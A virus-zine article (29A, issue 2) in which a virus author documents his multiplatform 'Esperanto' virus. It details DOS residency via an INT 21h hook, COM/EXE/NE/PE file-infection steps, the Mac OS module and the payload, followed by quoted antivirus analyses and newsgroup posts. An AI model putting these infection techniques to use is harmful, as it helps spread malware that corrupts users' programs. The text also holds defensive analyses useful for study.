Copy Link
Add to Bookmark
Report
29A Issue 02 05 01
;
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; ³ /\/\/\/\/ Esperanto \/\/\/\/\ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; ³ written by Mister Sandman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ³ A MULTIPROCESSOR and MULTIPLATFORM virus ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; 0. Introduction
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Welcome to Esperanto, world's first multiprocessor and multiplatform virus
; ever, which is (pretty obviously) my best virus so far. It took me several
; months to write it, assemble the whole thing, and put it together into one
; only file, id est, the virus binary. In every moment i tried to write such
; a clear, modulized, easily understandable code to the detriment of optimi-
; zation. However i'm conscious it's necessary to write a previous deep ana-
; lysis so everybody may clearly understand the 100% of its functioning.
;
;
; 1. Processors/platforms/objects
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Esperanto is able to run in three different kinds of processors, which are
; Intel 80x86 (used in common PCs), Motorola 680x0 (used in old Apple Macin-
; tosh computers and in new Macintosh Performa) and PowerPC 6xx (used in new
; Power Macintosh and PowerBook computers).
;
; Inside each of these processors it is able to work in several different
; platforms, thus, in Intel 80x86 processors it will run under DOS, Windows
; 3.1x, Windows95, WindowsNT and Win32s, and in Motorola and PowerPC it will
; run under any version of Mac OS (since early 6.x up to the recently relea-
; sed Mac OS 8, which has been fully tested under); albeit Amiga computers
; use also Motorola processors, Esperanto will not be able to work in them.
;
; And now finally, depending on the platform Esperanto is being executed in,
; it will infect several different objects; when running in DOS and Windows
; 3.1x it will infect: COM, EXE, NewEXE, and PE files. Under Windows95, Win-
; dowsNT and Win32s (Win32 from now onwards) it will infect COM, EXE, and PE
; files. Finally, when run under Mac OS, it will infect Mac OS applications,
; including extensions, control panels, the System File, the Mac OS Finder,
; the DA Handler, and, if available, the Desktop File (only in Mac OS <7).
;
; The following diagram is pretty useful to understand the above:
;
;
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄ DOS ÄÄÄÄÄÄ COM, EXE, NewEXE, PE
; ÚÄÄÄÄÄÄÄÄij Intel 80x86 ÃÄÄÄÅÄ Win 3.1x Ä COM, EXE, NewEXE, PE
; ³ ³ (PCs) ³ ÀÄ Win32 ÄÄÄÄ COM, EXE, PE
; ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
; ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ÚÄÄÄÄÄÁÄÄÄÄÄ¿ ³ Motorola 680x0 ³
; ³ Esperanto ÃÄij (Old Macs) ÃÄ¿ ÚÄ Mac OS Apps
; ÀÄÄÄÄÄÂÄÄÄÄÄÙ ³ (Mac Performa) ³ ³ ÃÄ System File
; ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÃÄ Mac OS ÄÄÅÄ Mac OS Finder
; ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ÃÄ DA Handler
; ³ ³ PowerPC 6xx ³ ³ ÀÄ Desktop File
; ÀÄÄÄÄÄÄÄÄij (Power Macs) ÃÄÄÙ (Mac OS <7)
; ³ (PowerBooks) ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
;
; 2.0. Internal structure
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Esperanto gets the compatibility and the portability between these three
; different processors by means of the strategyc use of its internal struc-
; ture, so it's completely necessary to see what does it consist on in order
; to understand the way Esperanto works.
;
; Maybe the first question which comes up to your mind is something similar
; to "how the fuck can it jump from PCs to Macintoshes?". Theoretically, it
; would be impossible, as PC applications are compiled for Intel processors,
; which use different opcodes than the ones used by Motorola and/or PowerPC.
; But practically it was possible, by means of some tricks. I will try to
; explain them all point by point.
;
; a) How can a PC executable file jump into a Mac? Mac OS uses something si-
; milar to drivers, called "extensions". Since many time ago Mac OS in-
; cludes an extension called "PC Exchange", which is loaded by default
; and is able to read and write any PC disk. Since then lots of Macintosh
; users, by means of DOS and Win emulators, use lots of PC files in their
; Macs. The first step is, as you can see, done.
;
; b) How can Esperanto infect under Mac OS? well, this requires some theory.
; Mac OS executable files consist on definite-purpose resources (such as
; CODE, MDEF (Menu DEFinition), BNDL (bundle), etc). Every executable fi-
; le in Mac OS has a resource index or relocation at its end, and this is
; what the operating system looks for in order to distinguish executable
; and non-executable files. One of these resource indexes has been "arti-
; ficially" added to the end of the Esperanto body. This item does not do
; anything under any PC platform, but it does force Mac OS to execute in-
; fected PC programs in Macs. When going to run any of these PC programs
; under one of the known DOS or Win emulators, Mac OS will recognize the
; executable format and then will run the infected file with no emulation
; so Esperanto will go memory resident under Mac OS. After this, the con-
; trol will be given back to the Intel emulator and then the infected fi-
; le will be normally executed, being possible to stay memory resident in
; the virtual memory used by the DOS or Win emulator as well.
;
; c) But aren't the opcodes of each processor different? indeed. And that is
; why Esperanto has a specific infection routine for Mac OS applications
; totally written and compiled in Motorola 680x0 code. This submodule was
; incrusted into the main Esperanto body and is pointed by the previously
; mentioned resource index. When an infected application is run in Mac OS
; after having been recognized as an executable file the operating system
; first checks the resource index. A pointer to a MDEF resource will be
; found in it, and then the execution will jump straight to the starting
; offset pointed to in the resource index, where the so called "jump ta-
; ble" is supposed to be. This jump table is another characteristic of
; Mac OS applications, and its mission consists on managing the hierarchy
; of the execution of the different resources in a file. This jump table
; does not actually exist in Esperanto; instead of it there is a jmp ins-
; truction (Intel-opcoded) which in PCs will jump to the virus real start
; and in Macintoshes will be interpreted as non-sense data, so it will be
; skipped... until the next instruction, a Motorola one, is reached. That
; is the first instruction of the Mac OS module which, consequently, will
; be run as execution goes on. Our objective is done.
;
; d) And how can the virus run in PowerPC processors? since these processors
; are used in Power Macintosh and PowerBook computers, in Apple they had
; to look for some kind of compatibility between old applications (which
; were compiled for Motorola) and the new processors, so they eventually
; came up with the idea of including a Motorola code emulator inside the
; new Mac OS kernel. Since then there's a full compatibility between both
; processors and their applications, and that's why Esperanto is able too
; to work in PowerPC-based machines which use Mac OS.
;
; e) How can Esperanto jump from Macs to PCs? also very easy. The virus will
; infect every PC file it finds in the DOS/Win emulator and as soon as o-
; ne of these files is copied to a PC the work will be done. And remember
; there's no necessity of any floppy disks, as it's usual to find PC com-
; puters connected to Macintoshes by networking means. That's why none of
; the "foreign" infections (of Mac apps in PC, and of PC files in Mac OS)
; was included in the virus, as they would be a loss of bytes.
;
; Once this all is understood it is much simpler to understand the internal
; structure of the virus. Esperanto consists on four different modules and
; four entry points. There is a specific virus module for Mac OS, DOS, Win,
; and Win32. And there is one entry point for each of them: the first one is
; "universal", it's the one we've just described above. It is valid for COM,
; EXE and Mac OS apps, and it is formed only by a simple "jmp" instruction,
; whose mission consists on "discriminating" the processor it is working un-
; der and, depending on that, distributing the execution point either to the
; start of the Mac OS module or to the start of the DOS one. The second en-
; try point is the one straight reached in this last case, and it is valid
; only for COM and EXE files. The third entry point is the one used by the
; Windows 3.1x module, and finally the fourth deals with the Win32 code.
;
; Again, the use of a diagram will make things much simpler to understand:
;
;
; ÚÄÄÄÄÄÄ¿
; ÚÄÅÄÄÄÄÄÄÅÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÄÄ Universal entry point
; ³ ÀÄÄÄÄijÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÃÄÄ Mac OS entry point
; ³ ³ÛÛÛÛ Mac OS ÛÛÛÛ³
; ³ ³ÛÛÛÛ module ÛÛÛÛ³
; ³ ³ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ³
; ÀÄÄÄÄÄÄij±±±±±±±±±±±±±±±±ÃÄÄ COM/EXE entry point
; ³±± DOS module ±±³
; ³±±(not memres)±±³
; ÚÄÄÄÄÄÄ´±±±±±±±±±±±±±±±±³
; ÚÄÅÄÄÄÄÄÄ´°°°°°°°°°°°°°°°°ÃÄÄ NewEXE entry point
; ³ ³ ³°° Win module °°³
; ³ ³ ³°°°°°°°°°°°°°°°°³
; ³ ÀÄÄÄÄij±±±±±±±±±±±±±±±±ÃÄÄ DOS memory resident code
; ÀÄÄÄÄÄÄij±± DOS module ±±ÃÄÄ 16-bit infection routines
; ³±±(memory res)±±³
; ³±±±±±±±±±±±±±±±±³
; ³²²²²²²²²²²²²²²²²ÃÄÄ PE entry point
; ³²² W32 module ²²³
; ³²²²²²²²²²²²²²²²²³
; ³++++++++++++++++ÃÄÄ Data buffer
; ³+++++ Data +++++³
; ³++++++++++++++++³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
;
; 2.1. The Mac OS module
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This module (Motorola-opcoded) was written and compiled in a Mac computer.
; It has the format of a MDEF resource. It's executed every time an infected
; application is run under Mac OS. When this happens the module will perform
; the System File infection, so that the virus will be loaded every time the
; user boots from his hard disk. Then it will give control back to the host.
;
; From this moment onwards the virus will rapidly spread all over the system
; in a "chain" process: after its host has been run, the System File (remem-
; ber, previously infected) will call and then infect the Mac OS Finder. The
; Finder, in its turn, will infect *any* accessed file (findfirst, findnext,
; open, close, chmod...), and this includes the DA Handler, the Desktop File
; (if available, only in Mac OS <7), control panels, extensions, etc.
;
; Infection consists on simply adding a new MDEF resource to the victims and
; copying the whole viral code into it, setting execution priviledges to the
; resource with ID=0. Esperanto will not go memory resident twice.
;
; I think it would be fair to say that this was probably the part of the vi-
; rus whose writing i enjoyed most as i had to develop it all myself because
; there are not any tutorials on Mac OS infection (as far as i know).
;
;
; 2.2.0. The DOS module
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This module uses 16-bit Intel code, and was specifically designed to run
; in DOS. It has the peculiarity of being divided into two different chunks,
; each of them with a different mission. Now i'll try to describe the func-
; tioning and the behavior of both of these DOS submodules.
;
;
; 2.2.1. The DOS runtime module
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This submodule is executed every time an infected COM or EXE file is run.
; When this happens, the DOS runtime module will try to perform two actions:
; first, become memory resident by hooking interrupt 21h; and second, resto-
; re its host in order to let it be executed.
;
; The residency method is completely standard, as the virus first checks for
; its presence in memory (in order to not to go resident twice), and if this
; is ok then creates a new MCB, sets it as a system one used by DOS, copies
; its code into it and then jumps to this copy, so no ëelta-offset is longer
; needed. Once this happens it will hook interrupt 21h, setting the new vec-
; tor to the start of the DOS memory resident module, and then will check
; for the file format of its host, in order to rebuild and jump to it.
;
;
; 2.2.2. The DOS memory resident module
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This submodule is executed every time the interrupt 21h is called once the
; virus has previously gone memory resident. Esperanto intercepts only three
; functions: its own interrupt service (a ":)" smiley), the findfirst servi-
; ce (4eh) and the findnext service (4fh). If the int call does not hold any
; of these services as request, the virus will jump to the original int 21h.
;
; Instead, Esperanto will perform several actions when having intercepted a-
; ny of the functions in hooks. When the value held in AX is equal to 3a29h,
; which stands for a ":)" smiley, it will increment AH so the eyes will turn
; into a ";)" wink. This is used for the residency check to not to go memory
; resident twice. The execution will then jump to the original interrupt.
;
; If the value held in AH is equal to 4eh or 4fh (findfirst/findnext), Espe-
; ranto will try to set up the file for its infection. The virus will first
; store the full path and the filename, and later will check its extension.
; If the extension is .COM or .EXE, Esperanto will continue running the cor-
; responding routines encharged of examining the file and determining whe-
; ther it is infectable or not. Otherwise it will hand the control over the
; original interrupt service by means of a "retf" instruction.
;
;
; The 16-bit infection routines
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; For the case the latter didn't happen, Esperanto is about to check the fi-
; le in DS:DX in order to know if it is worth to be infected or not. But be-
; fore doing any specific file check (which would depend on its extension),
; the virus does a call to the "system_checks" routine. This routine is kind
; of an "infection limiter", used in order to avoid the virus presence being
; unveiled because of the system slowdown which would happen if there were
; no limits when infecting files. Thus, Esperanto will infect from 0 up to 3
; files per (a maximum of a) minute. If the "system_checks" routine does not
; return a 0 in AH, then Esperanto has not infected 3 files yet in the same
; minute, so it may keep on seeking for victims.
;
; Now, if the possible victim is a COM file, the virus will check first for
; its infection mark (a ";)" smiley) in the offset 4 of the file. If this is
; ok then it will just assure itself the file is bigger than 5733 (the virus
; size+1000) and smaller than 59802 (65535-the virus size-1000). If the file
; has passed all the tests then it's good to be infected: 4733 bytes will be
; appended to its end and it will have a new 5 bytes long header (jmp+";)").
;
; The conditions required for EXE files are different. The virus will see if
; the first word in the file is MZ or ZM. Later it will check for its infec-
; tion mark, any overlay, and the presence of PkLite. If nothing goes bad it
; will then skip the file if it's smaller than 5733 (Esperanto+1000) and fi-
; nally will see if it is a Windows EXE file. For the case it is not the vi-
; rus will modify CS, IP, SS and SP besides other pointers in the MZ header,
; and then append itself to the end of the file.
;
; If it is about a Windows EXE file, it will decrement the pointer in 3ch to
; the new EXE header by 8, and then rewrite the MZ header. This new EXE hea-
; der will be read (512 bytes) and then Esperanto will check for the NE (for
; NewEXEs) or PE (for PEs) mark. If a different mark (LE, LX...) is found,
; the file will be rejected, and the original header rebuilt. If it is about
; a NewEXE, the virus will check straight for the gangload area. If it is ok
; then Esperanto will infect the file: first it will update all the pointers
; related with the segment table, as it will be shifted. Later, the gangload
; area will be killed for compatibility, and the new CS:IP will be set. Fi-
; nally the NE header and the segment table will be shifted by 8 and the vi-
; ral code plus the relocation item appended to the end of the file.
;
; Finally, if the file turns out to be a PE the virus will read again the MZ
; header of the file and readd 8 to the pointer in 3ch. A page from the off-
; set pointed by the latter will be read again (ie, the PE header), and then
; the checks will start again. These consist on checking if the file is exe-
; cutable and if it's not a DLL. After this, Esperanto looks for the import
; section in the file, reads it, and then looks for the KERNEL32.DLL module
; descriptor. Files which do not import any API from it will consequently be
; discarded, as well as binded files. The final step before infection con-
; sists on storing in a dynamic variable the RVAs for the GetModuleHandleA
; and GetProcAddress APIs. Once these steps are done the victim is ready for
; infection. The virus will attach itself as an extension of the last sec-
; tion in the file, and then will modify the AddressOfEntryPoint field so it
; points to the start of the virus, the section characteristics to exec/read
; /write, and the SizeOfImage field. And, of course, the virus will then ap-
; pend its body to the end of the file.
;
;
; 2.3. The Windows 3.1x module
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This module is executed every time an infected NewEXE file is run. It will
; first of all get an alias selector for CS and point it with DS. As soon as
; this is done it will use its own runtime routines in order to look for so-
; me files (COM and EXE) to infect. To save bytes, the module shares the sa-
; me infection routines used by the DOS module (read the "The 16-bit infec-
; tion routines" point for further information). As soon as the maximum num-
; ber of files to infect (according to the virus limiter) is reached, Espe-
; ranto will jump to the original CS:IP of its host.
;
;
; 2.4. The Win32 module
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This last module is executed every time an infected PE file is run. It was
; written and compiled in 32-bit protected mode, and that is what it is able
; to work in: Win32 platforms (Win32s/Windows95/WindowsNT). When it's execu-
; ted it first gets the base address of its host and pushes its real entry
; point, and later performs several actions in order to stay compatible and
; portable between all the Win32 platforms. These actions consist on getting
; the previously stored RVA of GetModuleHandleA and calling this API in or-
; der to get the address of the KERNEL32 module, and later getting the also
; previously stored RVA of GetProcAddress in order to use it and thus be a-
; ble to get the address of all the APIs needed by Esperanto. If the RVAs of
; GetModuleHandleA and GetProcAddress were not stored for some reason, Espe-
; ranto would use its own undocumented routines in order to get the base ad-
; dress of KERNEL32 and, inside the export table of the latter, the address
; of the GetProcAddress API function.
;
; Once these steps are done Esperanto calls the GetLocalTime API in order to
; know if the current date is the one required by the payload to activate.
; This payload and its effects are fully described below. If the date is not
; the one the payload needs to activate then the execution will continue and
; the virus will use the FindFirstFileA/FindNextFileA APIs in order to find
; some files to infect. Again, the infection will be controlled and Esperan-
; to will hit a maximum of three files per run. The checks performed by this
; module are the same than the ones performed by the DOS module, and the in-
; fection routines consist on exactly the same, besides in two points: first
; of them is the fact that this module uses file mapping in memory in order
; to make things easier and save bytes; and second is that this module does
; not infect NewEXE files, as divisions with 32-bit integers when DX is not
; equal to zero cause troubles; the solution would be either only infecting
; NewEXEs < 0ffffh (as done with EXEs) or making a 16-bit division. I didn't
; like any of them so i avoided a headache just by skipping NewEXE files.
;
;
; 2.5. Union makes the power
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; It's not about the fact that this virus has been written to be in the wild
; or shit like that. In fact i did not take care about restoring file attri-
; butes, date or time, because i wrote this just to "prove my point", not to
; release it and let it survive in the wild, so i don't care it being easy
; to detect or unveiling its presence. It was just a challenge for myself,
; not a defiance for innocent average-level computer users.
;
; It's about its versatility. You could see the virus consists on four modu-
; les. Each of those modules was written individually and thus would be able
; to work with no need of the presence of the resting modules (except of the
; Windows 3.1x one, which shares its infection routines because of optimiza-
; tion reasons). Separately they would be normal infectors. But they all to-
; gether are a unique virus in its class. For the same reason, the infection
; ratio and the versatility of the virus are much bigger than if it would be
; separated into independent modules: the DOS module goes memory resident in
; order to infect files while the Windows 3.1x and the Win32 ones use runti-
; me infection. But what happens if the virus (the DOS module) is memory re-
; sident and Windows 3.1x or a Win32 platform is loaded? the result is that
; Esperanto will then use both memory *and* runtime infection as the DOS mo-
; dule is able to stay resident also under Windows and both Windows 3.1x and
; Win32 call the original 4eh/4fh services of interrupt 21h in order to find
; files. Esperanto would be, as you can see, much more infectious. And don't
; see this as a remote possibility, as WIN.COM is usually the first file the
; virus infects from its Windows 3.1x module, for instance.
;
; Finally i would like to add a clarification about the virus. You will pro-
; bably find strange or non-sense things on it, or even things you can't un-
; derstand or think they're wrong or could be improved. And you will kind be
; right and kind be wrong... "they are not bugs, they are features". What do
; are bugs are some included on purpose in order to stop the virus spreading
; fast so it can't go too far in the wild.
;
; Note again that the purpose of this virus is not to infect people and thus
; become widespread in the wild; its real objective is summed up in the pre-
; tty famous Nike slogan... "just do it" ;)
;
;
; 3. Payload
; ÄÄÄÄÄÄÄÄÄÄ
; This virus took its name after the universal language Esperanto. This lan-
; guage was invented in 1887 by L.L.Zamenhof, a polish doctor. Esperanto was
; designed to be the second language of everyone, and then was invented with
; no irregularities and/or exceptions, so everybody would be able to rapidly
; and easily learn it and communicate with other Esperanto speakers. It ini-
; tially had a lot of success, but its growing process was stopped by the II
; World War as lots of its speakers died in it. Since about ten years ago it
; is experiencing a new peak, and its use has been recommended many times by
; international organisms such as UNESCO, which also stress its paedagogy as
; Esperanto, once learnt, makes the learning process of other languages much
; easier. Today, Esperanto is spoken by about ten million people.
;
; I found some parallelism between this language and my virus because as the
; language goes beyond any culture, race or whatsoever the virus goes beyond
; any processor, platform or file format. And also because i personally sup-
; port and speak Esperanto it seemed to me the perfect name for my virus.
;
; The payload activates every year on july 26th, which was the release date,
; in 1887, of "Internacia Lingvo" (International Language), by Zamenhof, the
; first book written in Esperanto. Today there are over ten thousand titles.
; The virus payload will activate only when running in a Win32 platform, and
; consists on showing the text below within a message box. When the user ac-
; cepts the "ok" button the virus jumps straight to the host, without infec-
; ting any file (that's its only vacancy time).
;
;
; Never mind your culture / Ne gravas via kulturo,
; Esperanto will go beyond it / Esperanto preterpasos gxin;
; never mind the differences / ne gravas la diferencoj,
; Esperanto will overcome them / Esperanto superos ilin.
;
; Never mind your processor / Ne gravas via procesoro,
; Esperanto will work in it / Esperanto funkcios sub gxi;
; never mind your platform / Ne gravas via platformo,
; Esperanto will infect it / Esperanto infektos gxin.
;
; Now not only a human language, but also a virus...
; Turning impossible into possible, Esperanto.
;
;
; What reads after the slash in every line is, of course, the translation of
; the english "verse" into Esperanto. And yes, i know it looks strange :)
;
;
; 4.0 The "other side"
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; It has only passed one week after having sent the virus to two AVers. This
; is what we could get from them by the moment. Further reports and analyses
; will be referenced in the next issue of 29A.
;
;
; 4.1. Mikko Hyppnen speaks (F-Prot)
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; (*) http://www.DataFellows.com/v-descs/esperant.htm
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; NAME: Esperanto
; TYPE: Resident COM/EXE-files
;
; This virus infects lots of different executables:
;
; When running in DOS and Windows 3.1x it will infect:
; - DOS COM files
; - DOS EXE files
; - Windows 3.x NewEXE files,
; - Windows 95 PE EXE files
; - Windows NT PE EXE files
;
; When running in Windows 95, Windows NT and Win32s it will infect:
; - DOS COM files
; - DOS EXE files
; - Windows 95 PE EXE files
; - Windows NT PE EXE files
;
; The virus carries a dropper of a Macintosh virus in it's code.
; This will work under Mac and PowerMac and will infect:
; - Mac OS applications
; - Extensions
; - Control panels
; - The System File
; - The Mac OS Finder
; - The DA Handler
; - The Desktop File
;
; When Esperanto is running on a PC, it will stay resident and infect
; programs when they are accessed.
;
; When such COM and EXE files are taken to a Macintosh or a PowerMac and
; executed under a PC emulator such as SoftPC or SoftWindows, they will
; execute as Mac programs. This happens because Esperanto adds a special
; resource-like add-on to PC files. Such programs will drop a Mac-specific
; virus which will continue spreading on Macintosh computers. The Mac
; version of the virus will not spread back to PC users. PC version of
; the virus won't infect Mac executables directly even if it would
; have access to them through floppies or file sharing.
;
; Esperanto activates every year on July 26th. The first book in the
; international Esperanto language was released on this date. When an
; infected file is executed under Windows 95 or Windows NT on this date,
; the virus will show a dialog box with the following texts:
;
; Never mind your culture / Ne gravas via kulturo,
; Esperanto will go beyond it / Esperanto preterpasos gxin;
; never mind the differences / ne gravas la diferencoj,
; Esperanto will overcome them / Esperanto superos ilin.
;
; Never mind your processor / Ne gravas via procesoro,
; Esperanto will work in it / Esperanto funkcios sub gxi;
; never mind your platform / Ne gravas via platformo,
; Esperanto will infect it / Esperanto infektos gxin.
;
; Now not only a human language, but also a virus...
; Turning impossible into possible, Esperanto.
;
; The Mac version of Esperanto was the first new Mac virus for over two
; years when it was discovered in November 1997.
;
; [Analysis: Mikko Hypponen, Data Fellows Ltd]
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;
; 4.2. Eugene Kaspersky speaks (AVP)
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; (*) http://www.avp.ch/avpve/file/e/esperant.stm
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; Esperanto.4733
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This is a multiplatform parasitic virus. It infects DOS COM and EXE,
; Windows EXE (NE) and Windows32 EXE (PE) files. It also has a part of
; code that looks like a MDEF Macintosh resource and seems to be also a
; virus for the Macintosh. I see no way for that virus to spread from
; Macintosh to PC, and from PC to Macintosh - being executed as DOS/Win
; application the virus pays no attention for Mac files. It seems to be
; the same for infected Mac programs - the virus does not pay attention
; for DOS/Win files. I think that the only way to spread that virus from
; Mac to PC and back is to copy and run it "manually".
;
; When an infected file is executed under DOS, the virus hooks INT 21h and
; stays memory resident. When files are executed or accessed by FindFirst/
; Next DOS calls, the virus infects them. The virus also searches for COM
; and EXE files and infects them. Being executed as Windows or Windows32
; application, the virus does not leave its TSR copy in the memory - it
; just searches for files and infects them.
;
; While infecting the virus parses internal file format, separates DOS COM,
; EXE, NewEXE and Portable EXE files and infects them in different ways:
; writes itself to the end of DOS COM and EXE files and modifies file
; header, creates new section in Windows NE files, appends itself to the
; last section in Windows32 PE files.
;
; Being executed as Windows32 application the virus also checks the system
; time and depending on it displays the MessageBox:
;
; [Esperanto, by Mister Sandman/29A]
; Never mind your culture / Ne gravas via kulturo,
; Esperanto will go beyond it / Esperanto preterpasos gxin;
; never mind the differences / ne gravas la diferencoj,
; Esperanto will overcome them / Esperanto superos ilin.
;
; Never mind your processor / Ne gravas via procesoro,
; Esperanto will work in it / Esperanto funkcios sub gxi;
; never mind your platform / Ne gravas via platformo,
; Esperanto will infect it / Esperanto infektos gxin.
;
; Now not only a human language, but also a virus...
; Turning impossible into possible, Esperanto.
;
; The virus also contains the text strings that are used while infecting
; Windows32 files:
;
; KERNEL32.DLL USER32.DLL GetModuleHandleA GetProcAddress MessageBoxA
; CreateFileA CreateFileMappingA MapViewOfFile UnmapViewOfFile CloseHandle
; FindFirstFileA FindNextFileA FindClose LoadLibraryA GetLocalTime
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;
; 4.3 Keith Peer speaks (AVP)
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; (*) alt.comp.virus
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; From - Sat Nov 22 02:03:41 1997
; From: Keith Peer <keith@command-hq.com>
; Newsgroups: alt.comp.virus
; Subject: New Multi-Operating System virus discovered!
; Date: Thu, 20 Nov 1997 12:54:01 -0500
; Organization: Central Command Inc.
; To: virus-l@lehigh.edu
;
; November 20, 1997
;
; FOR IMMEDIATE RELEASE
;
; Renee Barnhardt
; Central Command Inc.
; 330-273-2820
; renee@command-hq.com
;
; Central Command today announces the discovery of new multi-operating
; system virus.
;
; New cross platform virus that can infect all popular desktop computers.
;
; Brunswick, OH, November 20, 1997 Central Command Inc. the U.S. distributor
; for AntiViral Toolkit Pro (AVP) announces today that a new computer virus
; has been discovered that can operate under DOS, Windows, Windows 95,
; Windows NT, and Macintosh operating systems.
;
; "We are seeing a lot of new technology in computer viruses today. It seems
; that the virus writers are concentrating more on developing sophisticated
; viruses that extend further and infect more widely. I am sure this will
; not be the last virus we encounter that can infect DOS, Windows, Windows
; 95, Windows NT, and Macintosh operating systems, but right now this is
; the first." Said Central Command's President, Keith Peer.
;
; This multiplatform parasitic virus named Esperanto.4733, infects DOS, COM
; and EXE programs, Windows EXE (NE) and Windows32 EXE (PE) files. It also
; has instructions that look for MDEF Macintosh resources and also operates
; under the Macintosh environment. There is no way for this virus to spread
; from Macintosh to PC, and from PC to Macintosh. When a infected program
; is started as a DOS or Windows application the virus does not execute the
; Macintosh instructions. The same effect happens when a infected Macintosh
; program is started, the virus simply ignores the DOS, and Windows
; instructions. Currently, the only way for this virus to spread from a PC
; to a Macintosh is by copying it.
;
; While infecting the virus searches the internal file format of the
; programs, and separates DOS, COM and EXE programs, Windows, Windows 95,
; Windows NT, and Macintosh programs and infects differently.
;
; [...Publicity...]
;
; ---------------------------------------------------------
; Central Command Inc. AntiViral Toolkit Pro
; http://www.command-hq.com sales@command-hq.com
; Ph: 330-273-2820 Fax: 330-220-4129
; -> See our website for free software evaluations! <-
; ---------------------------------------------------------
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;
; 4.4. Guillermito speaks ;)
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; (*) alt.comp.virus
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; From - Sat Nov 22 02:04:19 1997
; From: Guillermito <guillermito@pipo.com>
; Newsgroups: alt.comp.virus
; Subject: Re: New Multi-Operating System virus discovered!
; Date: Fri, 21 Nov 1997 09:16:28 +0100
; Organization: INRA des Villes
;
; Keith Peer wrote:
;
; > This multiplatform parasitic virus named Esperanto.4733, infects DOS,
; > COM and EXE programs, Windows EXE (NE) and Windows32 EXE (PE) files. It
; > also has instructions that look for MDEF Macintosh resources and also
; > operates under the Macintosh environment.
;
; Hey MrSandman! Lo has conseguido! Que cojonudo, tio!
;
; Cabanas/Esperanto: 29A is the best virus group on earth.
;
; --
; Guillermito
; http://www.pipo.com/guillermito/darkweb/virus.html
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
; My reply: lo tuyo s¡ que se sale... ;) Espero verte de nuevo en la pr¢xima
; reuni¢n de 29A este verano, a ver si esta vez no te pierdes en Madrid ;)
;
; Btw, the guys at AVP don't seem to have understood very well the way Espe-
; ranto jumps from a PC to a Macintosh computer. I would also like to make a
; special mention to Alan Sollomon (aka Alan Salmon), who, resentful for not
; being one of "the chosen", tried to follow Bontchev's steps (he knows what
; i mean). This makes nothing but confirming my opinion on who in the AV si-
; de makes a serious and proffesional work and who prefers to get some noto-
; riousness by trying to create actually inexistent conflicts between VX and
; AV and even between AV and AV themselves, rather than cordiality.
;
; "That's the way they act, that's why their products suck".
;
; And Kaspersky... you rock, but you should stop believing you're a god. Get
; some time to learn a better english and something on Win32 viruses, try to
; approach your previous modest behavior rather than Daniloff's, and that is
; when you'll start to write again those dazzling virus analyses such as the
; unforgettable work you did with Zhengxi.
;
; However i still admire you.
;
